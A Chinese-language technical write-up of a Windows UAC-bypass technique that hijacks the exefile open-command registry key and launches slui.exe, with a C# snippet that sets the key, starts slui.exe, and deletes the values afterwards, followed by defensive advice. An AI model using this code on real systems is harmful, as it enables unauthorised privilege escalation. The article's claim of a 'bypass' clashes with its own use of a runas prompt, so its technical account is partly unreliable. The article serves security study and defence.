Sharp4SluiUAC:一款通过 slui.exe 白名单进程绕过 UAC 实现提升权限
字数 1557 2025-08-29 22:41:10
Sharp4SluiUAC:通过 slui.exe 绕过 UAC 权限提升技术分析
1. UAC 与绕过技术概述
Windows 用户账户控制 (UAC) 是微软从 Windows Vista 开始引入的安全机制,用于防止未经授权的程序获取管理员权限。当标准用户运行需要管理员权限的程序时,系统会弹出 UAC 提示要求用户手动确认。
常见的 UAC 绕过技术包括:
- 注册表劫持(HKCU\Software\Classes 目录)
- 白名单进程利用
- DLL 劫持
- 计划任务滥用
- COM 接口滥用
本文重点介绍通过 slui.exe 白名单进程结合注册表劫持的 UAC 绕过方法。
2. slui.exe 简介
slui.exe (Software Licensing User Interface) 是 Windows 软件许可界面组件,主要用于:
- Windows 操作系统激活
- 正版验证
- 产品密钥管理
文件位置:C:\Windows\System32\slui.exe
常用命令行参数示例:
slui.exe 0x2a 0x80070005
这会打开 Windows 电话激活界面,显示微软技术支持电话信息。
3. 注册表关联可执行文件机制
关键注册表项:
HKCU\Software\Classes\exefile\Shell\Open\command
默认值为:
"%1" %*
其中:
%1表示用户双击的 .exe 文件的完整路径%*表示传递给该 .exe 文件的所有命令行参数
攻击者可以通过修改此注册表项来劫持所有 .exe 文件的执行行为。例如修改为:
cmd.exe /c calc.exe
这将导致任何 .exe 文件运行时都执行计算器程序而非原程序。
4. 技术实现原理
在某些 Windows 版本中,slui.exe 运行时会在高权限环境下执行注册表中的 exefile\Shell\Open\command 命令,从而可能实现代码执行。
实现步骤:
- 修改当前用户的
exefile\Shell\Open\command注册表项 - 以管理员权限启动 slui.exe
- slui.exe 在高权限环境下执行被修改的命令
- 清理注册表痕迹
5. 完整代码实现
以下是 C# 实现的核心代码:
// 修改注册表
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Classes\exefile\Shell\Open\command", true))
{
// 设置恶意命令,例如启动管理员权限的cmd
key.SetValue("", "cmd.exe");
key.SetValue("DelegateExecute", "");
}
// 以管理员权限启动slui.exe
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileName = "slui.exe",
Verb = "runas", // 请求管理员权限
UseShellExecute = true
};
Process.Start(startInfo);
// 等待10秒确保命令执行
Thread.Sleep(10000);
// 清理注册表
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Classes\exefile\Shell\Open\command", true))
{
key.DeleteValue("");
key.DeleteValue("DelegateExecute");
}
代码解析:
Registry.CurrentUser操作当前用户注册表 (HKEY_CURRENT_USER)OpenSubKey打开注册表项并设置可写权限SetValue修改注册表值ProcessStartInfo配置 slui.exe 以管理员权限运行- 延迟后清理注册表恢复系统状态
6. 防御措施
针对此类攻击的防御建议:
-
UAC 设置:
- 将 UAC 设置为最高级别(始终通知)
- 不要使用管理员账户进行日常操作
-
注册表保护:
- 监控敏感注册表项的修改
- 限制对
HKCU\Software\Classes\exefile的写入权限
-
进程监控:
- 监控 slui.exe 等白名单进程的异常启动
- 特别关注从非系统目录启动的 slui.exe
-
系统更新:
- 及时安装 Windows 安全更新
- 微软可能在新版本中修复此类漏洞
-
安全软件:
- 部署具有行为监控功能的安全软件
- 配置规则阻止可疑的权限提升行为
7. 技术限制
该技术存在以下限制:
- 仅适用于特定 Windows 版本
- 需要用户交互(点击 UAC 提示)
- 依赖于 slui.exe 的特殊行为
- 在最新 Windows 版本中可能已被修复
8. 总结
Sharp4SluiUAC 展示了一种利用 Windows 白名单进程和注册表劫持的组合技术来绕过 UAC 的方法。这种技术的关键在于:
- 利用 slui.exe 的特殊权限行为
- 通过注册表劫持改变程序执行流程
- 精心设计的时序控制确保攻击完成
理解此类技术有助于安全研究人员更好地防御权限提升攻击,同时也提醒系统管理员保持系统更新和安全配置的重要性。